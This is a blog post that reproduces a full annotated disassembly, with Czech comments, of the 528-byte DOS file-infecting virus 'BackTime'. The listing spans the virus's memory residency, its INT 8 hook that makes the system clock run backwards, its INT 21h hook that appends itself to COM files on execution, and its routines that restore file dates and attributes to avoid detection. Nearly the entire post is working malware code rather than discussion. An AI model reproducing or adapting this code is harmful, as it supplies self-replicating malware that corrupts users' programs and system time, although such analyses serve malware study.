Posted by: programmervb on: August 2, 2008
; �����������������������������������������������������������Ŀ ; � � ; � V i r u s B a c k T i m e (delka 528 byte) � ; � � ; � Rozbor provedl: Milos Bina, leden 1991 � ; � � ; ������������������������������������������������������������� } ; datova tabulka ; 0000 E9BA634E6F DB e9,ba,63,4e,6f ; prvnich 5 byte puvodniho pgmu 0005 426163 DB 'BackTime' 0008 6B54696D65 ; techto 5 byte se bude nahravat na zacatek napadeneho pgmu 000D E9 DB E9 ; JMP near 000E DE6F DW ? ; novy start nakazeneho pgmu 0010 03AA DW AA03 ; priznak nakazeni virem 0012 A5FE00F0 DD ? ; puvodni adresa int 8 0016 4002F00D DD ? ; puvodni adr. int 21h 001A 5605F80C DD ? ; puvodni adr. int 24h 001E 2000 DW ? ; attribut souboru 0020 2400 DW ? ; datum vytvoreni souboru 0022 590E DW ? ; cas vytvoreni souboru ; ����������������������������Ŀ ; � N O V Y I N T 8 � ; ������������������������������ 0024 50 PUSH AX ; uscova registru 0025 53 PUSH BX 0026 51 PUSH CX 0027 1E PUSH DS 0028 33C0 XOR AX,AX 002A 8ED8 MOV DS,AX 002C 8B1E6C04 MOV BX,[046C] ; bx=dolni slovo citace casu 0030 8B0E6E04 MOV CX,[046E] ; cx=horni slovo citace casu 0034 4B DEC BX ; � 0035 7109 JNO 0040 ; � 0037 49 DEC CX ; � uprava systemoveho 0038 7106 JNO 0040 ; � casu 003A BBAF00 MOV BX,00AF ; � 003D B91800 MOV CX,0018 ; � cas misto, aby rostl, 0040 4B DEC BX ; � tak klesa 0041 7109 JNO 004C ; � 0043 49 DEC CX ; � 0044 7106 JNO 004C ; � 0046 BBAF00 MOV BX,00AF ; � 0049 B91800 MOV CX,0018 ; � 004C 890E6E04 MOV [046E],CX ; ulozeni noveho casu 0050 891E6C04 MOV [046C],BX 0054 1F POP DS ; obnovi registry 0055 59 POP CX 0056 5B POP BX 0057 58 POP AX 0058 2EFF2E1200 JMP Far CS:[0012] ; ����������������������������Ŀ ; � N O V Y I N T 2 1 h � ; ������������������������������ 005D 3D004B CMP AX,4B00 0060 740D JZ 006F 0062 3D03AA CMP AX,AA03 ; volana moje sluzba 0065 7503 JNZ 006A ; nastaveni priznaku, ze uz jsem v pameti 0067 86E0 XCHG AH,AL ; vrati 03aah 0069 CF IRET ; skok na puvodni int 21h 006A 2EFF2E1600 JMP Far CS:[0016] ; o.k 006F 50 PUSH AX ; uschova registru 0070 53 PUSH BX 0071 51 PUSH CX 0072 52 PUSH DX 0073 1E PUSH DS 0074 06 PUSH ES 0075 52 PUSH DX ; uschova pro pouziti virem 0076 1E PUSH DS ; nastaveni datoveho segmentu 0077 8CC8 MOV AX,CS 0079 8ED8 MOV DS,AX ; cti adresu int 24h 007B B82435 MOV AX,3524 007E CD21 INT 21 ; uschova adresy int 24h 0080 891E1A00 MOV [001A],BX 0084 8C061C00 MOV [001C],ES ; nastaveni noveho int 24h 0088 BA6201 MOV DX,0162 008B B82425 MOV AX,2524 008E CD21 INT 21 ; cte attributy souboru 0090 1F POP DS ; obnova ds:dx=^jmeno 0091 5A POP DX 0092 B80043 MOV AX,4300 0095 CD21 INT 21 0097 7303 JNC 009C ; o.k - pokracujem 0099 E9AD00 JMP 0149 ; chyba cteni -> konec 009C 2E890E1E00 MOV CS:[001E],CX ; uscova atributu souboru ; nastaveni attributu, ze neni Read_only, System ani Hidden 00A1 83E1F8 AND CX,FFF8 00A4 B80143 MOV AX,4301 00A7 CD21 INT 21 00A9 7303 JNC 00AE ; o.k 00AB E99B00 JMP 0149 ; chyba -> konec 00AE 52 PUSH DX ; uschova ukazatele na jmeno souboru 00AF 1E PUSH DS ; otevreni souboru pro cteni i zapis 00B0 B8023D MOV AX,3D02 00B3 CD21 INT 21 ; v AX vraci identifikator 00B5 7303 JNC 00BA ; o.k 00B7 E98400 JMP 013E ; chyba -> konec ; cteni data a casu vytvoreni souboru 00BA 8BD8 MOV BX,AX 00BC 8CC8 MOV AX,CS 00BE 8ED8 MOV DS,AX 00C0 B80057 MOV AX,5700 00C3 CD21 INT 21 00C5 7273 JC 013A ; chyba -> konec ; uschova data a casu 00C7 89162000 MOV [0020],DX 00CB 890E2200 MOV [0022],CX ; cte prvnich 5 byte ze souboru na svuj zacatek ( adr. cs:0000) 00CF BA0000 MOV DX,0000 00D2 B90500 MOV CX,0005 00D5 B43F MOV AH,3F 00D7 CD21 INT 21 00D9 7252 JC 012D ; chyba -> konec 00DB 3BC1 CMP AX,CX ; nacten pozadovany pocet byte? 00DD 724E JC 012D ; nenacten -> konec 00DF 813E00004D5A CMP [0000],5A4D ; EXE soubor 00E5 7446 JZ 012D ; je to EXE -> konec 00E7 813E030003AA CMP [0003],AA03 ; test, je-li soubor nakazen 00ED 743E JZ 012D ; soubor uz nakazen ; nastav ukazatel v souboru na jeho konec 00EF 33C9 XOR CX,CX 00F1 33D2 XOR DX,DX 00F3 B80242 MOV AX,4202 00F6 CD21 INT 21 00F8 7233 JC 012D ; chyba -> konec 00FA 0BD2 OR DX,DX 00FC 752F JNZ 012D ; soubor>64KB -> konec 00FE 3D60EA CMP AX,EA60 0101 732A JNC 012D ; delka>=ea60 -> konec ; vypocet nove startovni adresy 0103 056201 ADD AX,0162 0106 A30E00 MOV [000E],AX ; uschova nove startovni adr ; pripsani vira k souboru 0109 33D2 XOR DX,DX ; cs:dx=adresa dat 010B B91002 MOV CX,0210 ; cx=pocet byte k zapisu 010E B440 MOV AH,40 0110 CD21 INT 21 0112 7219 JC 012D ; chyba zapisu -> konec 0114 3BC1 CMP AX,CX 0116 7215 JC 012D ; nebyl zapsan prislusny pocet byte ; nastav ukazatel v souboru na jeho zacatek 0118 33C9 XOR CX,CX 011A 33D2 XOR DX,DX 011C B80042 MOV AX,4200 011F CD21 INT 21 0121 720A JC 012D ; chyba pusunu -> konec ; zapis do souboru (prvnich 5 byte) = skok na vira 0123 BA0D00 MOV DX,000D ; adresa dat 0126 B90500 MOV CX,0005 ; pocet byte 0129 B440 MOV AH,40 012B CD21 INT 21 ; obnova data a casu vytvoreni souboru 012D 8B0E2200 MOV CX,[0022] ; cas 0131 8B162000 MOV DX,[0020] ; datum 0135 B80157 MOV AX,5701 0138 CD21 INT 21 ; uzavri soubor 013A B43E MOV AH,3E 013C CD21 INT 21 ; obnovi atributy souboru 013E 8B0E1E00 MOV CX,[001E] ; atribut 0142 1F POP DS ; ds:dx=^jmeno 0143 5A POP DX 0144 B80143 MOV AX,4301 0147 CD21 INT 21 ; obnova int 24h 0149 2EA11C00 MOV AX,CS:[001C] 014D 8ED8 MOV DS,AX 014F 2E8B161A00 MOV DX,CS:[001A] 0154 B82425 MOV AX,2524 0157 CD21 INT 21 0159 07 POP ES ; obnova registru 015A 1F POP DS 015B 5A POP DX 015C 59 POP CX 015D 5B POP BX 015E 58 POP AX 015F E908FF JMP 006A ; ���������������������������������������Ŀ ; � docasny N O V Y I N T 2 4 h � ; ����������������������������������������� 0162 B003 MOV AL,03 0164 CF IRET ; ����������������������������Ŀ ; � S T A R T � ; ������������������������������ 0165 50 PUSH AX ; uschova disku, ze keterho byl ; program startovan ; vir zjistuje svoje umisteni v souboru 0166 E80000 CALL 0169 ; skok na nasledujici instrukci 0169 5B POP BX ; bx=offset vira ; obnova prvnich 5 byte hostitele 016A BF0001 MOV DI,0100 ; adresa cile prenosu 016D 8DB797FE LEA SI,[FE97+BX] ; adresa puvodnich dat (=0000) 0171 B90500 MOV CX,0005 ; pocet byte presunu 0174 FC CLD 0175 F3A4 REP MOVSB 0177 53 PUSH BX ; uschova ofsetu 0178 B430 MOV AH,30 ; cti verzi DOS 017A CD21 INT 21 017C 3C03 CMP AL,03 017E 5B POP BX ; obnova zasobniku 017F 727B JC 01FC ; DOS<3.0 -> konec ; test, jesli uz je vir v pameti 0181 B803AA MOV AX,AA03 ; volani sluzby zjisteni pritomnosti 0184 CD21 INT 21 0186 3DAA03 CMP AX,03AA 0189 7471 JZ 01FC ; uz je vir v pameti -> konec ; instalace do pameti 018B 8CC8 MOV AX,CS 018D 48 DEC AX 018E 8EC0 MOV ES,AX ; es:0=^MCB 0190 53 PUSH BX 0191 268B1E0300 MOV BX,ES:[0003] ; bx=pocet paragrafu zabranych pgmem 0196 81FB0020 CMP BX,2000 019A 7260 JC 01FC ; zbyvajici pamet je mala, byl ; by napadny -> konec ; zmenseni zabrane pameti 0 22 paragrafu 019C 83EB22 SUB BX,0022 019F 90 NOP 01A0 8CC8 MOV AX,CS 01A2 8EC0 MOV ES,AX ; segment alokovaneho bloku 01A4 B44A MOV AH,4A 01A6 CD21 INT 21 ; modifikace bloku pameti 01A8 5B POP BX 01A9 7251 JC 01FC ; chyba -> konec 01AB 53 PUSH BX ; alokace pameti pro vir 01AC BB2100 MOV BX,0021 ; pocet paragrafu 01AF 90 NOP 01B0 B448 MOV AH,48 ; alokuj pamet 01B2 CD21 INT 21 01B4 5B POP BX 01B5 7245 JC 01FC ; chyba -> konec ; uprava velikosti pouzitelne hostitelskym programem v PSP 01B7 48 DEC AX ; ukazatel pred vir 01B8 A30200 MOV [0002],AX ; nastaveni mensiho MemTop v PSP ; nastaveni priznaku vlastnika pro pamet zabranou virem 01BB 8EC0 MOV ES,AX 01BD 40 INC AX 01BE 26A30100 MOV ES:[0001],AX ; vlastnik sam ; presun vira do zabrane oblasti pameti 01C2 8EC0 MOV ES,AX 01C4 33FF XOR DI,DI ; nova adresa umisteni 01C6 8DB797FE LEA SI,[FE97+BX] ; adresa zacatku vira 01CA B90801 MOV CX,0108 ; pocet slov pro presun 01CD FC CLD 01CE F3A5 REP MOVSW 01D0 8ED8 MOV DS,AX ; uschova adresy kopie viru ; cteni adresy INT 8 01D2 B80835 MOV AX,3508 01D5 CD21 INT 21 ; uschova adresy INT 8 01D7 891E1200 MOV [0012],BX 01DB 8C061400 MOV [0014],ES ; cteni adresy UNT 21h 01DF B82135 MOV AX,3521 01E2 CD21 INT 21 ; uschova adresy INT 21h 01E4 891E1600 MOV [0016],BX 01E8 8C061800 MOV [0018],ES ; nastaveni nove adresy INT 8 na CS:0024 01EC BA2400 MOV DX,0024 01EF B80825 MOV AX,2508 01F2 CD21 INT 21 ; nastaveni nove adresy INT 21h na CS:005d 01F4 BA5D00 MOV DX,005D 01F7 B82125 MOV AX,2521 01FA CD21 INT 21 ; konec prace 01FC 8CC8 MOV AX,CS 01FE 8ED8 MOV DS,AX ; obnova DS 0200 8EC0 MOV ES,AX ; obnova ES 0202 58 POP AX ; obnova AX 0203 BB0001 MOV BX,0100 ; start. adresa COM souboru 0206 53 PUSH BX 0207 C3 RET ; skok na hostitelsky program 0208 EF0B8C1E DB 8 DUP (?) ; zaokrouhleni na paragaraf 020C 070D8C1E
Albeo theme by Design Disease
Recent Comments